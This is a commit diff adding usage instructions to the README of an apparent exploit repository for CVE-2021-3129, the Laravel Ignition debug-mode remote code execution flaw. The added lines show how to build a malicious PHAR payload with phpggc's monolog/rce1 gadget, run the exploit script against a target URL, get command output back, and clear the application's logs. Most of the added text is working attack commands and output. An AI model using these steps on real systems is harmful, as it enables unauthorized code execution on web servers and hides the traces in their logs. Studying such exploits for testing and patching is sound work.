Update README.md
This commit is contained in:
parent
45b96c0abb
commit
726501a652
1 changed files with 16 additions and 0 deletions
16
README.md
16
README.md
|
@ -1,2 +1,18 @@
|
||||||
# laravel-exploits
|
# laravel-exploits
|
||||||
Exploit for CVE-2021-3129
|
Exploit for CVE-2021-3129
|
||||||
|
Details: https://www.ambionics.io/blog/laravel-debug-rce
|
||||||
|
|
||||||
|
# Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id
|
||||||
|
$ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar
|
||||||
|
Log file: /work/pentest/laravel/laravel/storage/logs/laravel.log
|
||||||
|
Logs cleared
|
||||||
|
Successfully converted to PHAR !
|
||||||
|
Phar deserialized
|
||||||
|
--------------------------
|
||||||
|
uid=1000(cf) gid=1000(cf) ...
|
||||||
|
--------------------------
|
||||||
|
Logs cleared
|
||||||
|
```
|
||||||
|
|
Loading…
Reference in a new issue